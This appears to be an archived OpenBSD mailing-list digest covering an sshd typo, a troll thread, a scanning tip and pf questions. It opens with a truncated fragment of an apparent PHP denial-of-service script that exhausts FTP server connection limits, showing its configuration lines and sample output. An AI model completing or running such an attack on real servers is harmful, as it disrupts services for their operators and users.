 530 User ftp access denied, connection limit of 160 reached.


 Affter attack from one host

 */

 $conf['host']= $argv[1] ? $argv[1] : HOST;
 $conf['user'] =$argv[2] ? $argv[2] : anonymous;
 $conf['pass'] =$argv[3] ? $argv[3] : m...@cxib.net;
 $conf['port']= $argv[4] ? $argv[4] : 21;

 $dirnames=array('A', 'B', 'C', 'D',
 

no Chroot in Match Block of sshd?

2010-07-02 Thread Devin Ceartas
/etc/ssh/sshd_config: line 119: Bad configuration option:  
ChrootDirecotry
/etc/ssh/sshd_config line 119: Directive 'ChrootDirecotry' is not  
allowed within a Match block


I KNOW I've done this in the recent past. When/why did it change??

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Re: no Chroot in Match Block of sshd?

2010-07-02 Thread Claus Assmann
On Fri, Jul 02, 2010, Devin Ceartas wrote:
 /etc/ssh/sshd_config: line 119: Bad configuration option:
 ChrootDirecotry
 ^^
 /etc/ssh/sshd_config line 119: Directive 'ChrootDirecotry' is not
 allowed within a Match block
 
 I KNOW I've done this in the recent past. When/why did it change??

Maybe it works if you spell it correctly?
ChrootDirectory



Re: no Chroot in Match Block of sshd?

2010-07-02 Thread Ingo Schwarze
Devin Ceartas wrote on Fri, Jul 02, 2010 at 08:48:39PM -0400:

 /etc/ssh/sshd_config: line 119: Bad configuration option:
 ChrootDirecotry

Typo?  s/cot/cto/



Re: no Chroot in Match Block of sshd?

2010-07-02 Thread Devin Ceartas

Ugh. Time for sleep.

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On Jul 2, 2010, at 9:11 PM, Ingo Schwarze schwa...@usta.de wrote:


Devin Ceartas wrote on Fri, Jul 02, 2010 at 08:48:39PM -0400:


/etc/ssh/sshd_config: line 119: Bad configuration option:
ChrootDirecotry


Typo?  s/cot/cto/




Donation issues with OpenBSD…

2010-07-02 Thread Brent Shumacher
http://www.trollaxor.com/2010/06/why-i-almost-gave-openbsd-10-didnt.html



Re: Donation issues with OpenBSD???

2010-07-02 Thread Bret S. Lambert
On Sat, Jul 03, 2010 at 10:21:00AM +0800, Brent Shumacher wrote:
 http://www.trollaxor.com/2010/06/why-i-almost-gave-openbsd-10-didnt.html
 

You're a douchebag:

http://www.trollaxor.com/2001/06/another-apology.html



Re: Donation issues with OpenBSD???

2010-07-02 Thread Josh Rickmar
On Sat, Jul 03, 2010 at 10:21:00AM +0800, Brent Shumacher wrote:
 http://www.trollaxor.com/2010/06/why-i-almost-gave-openbsd-10-didnt.html
 

Obvious troll is obvious



Re: Donation issues with OpenBSD???

2010-07-02 Thread Peter Hessler
You do realize this article is satire, yes?


On 2010 Jul 03 (Sat) at 10:21:00 +0800 (+0800), Brent Shumacher wrote:
:http://www.trollaxor.com/...
:

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Scanning without SANE

2010-07-02 Thread Predrag Punosevac
Dear All,

This is not really a question but rather an observation which I made
today and which could be very useful for desktop users. It concerns
use of scanners (even Windows only printers).

As we know the standard way to access scanners on OpenBSD is using 
sane-backends drivers. They support a fair number of scanners 
in particular better flat bad USB scanners. Some all-in-one devices
produced by Epson are also supported. Sane-backends are supposedly
supporting large number of HP made all-in-one devices via proprietary 
hpaio library which is a part of HPLIP. Unfortunately HPLIP is written
with Linux only in mind and it works rather well on OpenBSD only due to
heroic effort of our developer Antoine Jacoutot. Luckily it turns out
that you do not need any software or drivers to scan with most HP
all-in-one device!

My wife has a HP Photosmart C5250 all-in-one. C5250 comes with several 
readers for various types of flash memory cards commonly used by digital
cameras. If you press scan button the small menu pups up on the C5250 
display with gives you option of scanning directly onto the flash memory
card. At the same time a generic kernel of OpenBSD to which my HP
all-in-one is connected via USB sees the same flash memory card as a
standard SCSI HDD. I just mounted the flash memory as 

mount -t msdos /dev/sd0i /mnt 

and I could see a directory on /mnt with scan images. 

I would guess that the above trick works for any all-in-one or scanner
device which has flash memory cards readers including the one produced
by Canon and Brother which are not supported by sane-backends.

I could even see that you could print on these all-in-one devices
without any drivers as long as the kernel sees card readers as SCSI HDD
when the all-in-once are connected via USB (or network). You just send
your files to flash cards and once there you print directly to printer.

Enjoy,
Predrag Punosevac

P.S. I hope you will find above hardware solution for printing and
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Re: Question about VLAN interfaces and SNMP Stats

2010-07-02 Thread Henning Brauer
* rh...@hushmail.com rh...@hushmail.com [2010-06-30 13:28]:
 When pulling stats off a VLAN interface, do the in/out figures 
 reflect the traffic values flowing to/from the attached subnet

they represent the packets/bytes going through that specific
interface, of course.

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Re: pfctl -a anchorname -F all does not clear states AND pfctl -anchorname -F states clears all states even ones not created by rules in anchorname

2010-07-02 Thread Henning Brauer
 # pfctl -a atelonly -F all

-Fall with -a makes no sense whatsoever. -Fa clears a lot of
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Re: Donation issues with OpenBSD…

2010-07-02 Thread Andres Genovez
2010/7/2 Brent Shumacher brent.shumac...@gmail.com



http://www.trollaxor.com/2010/06/why-i-almost-gave-openbsd-10-didnt.html



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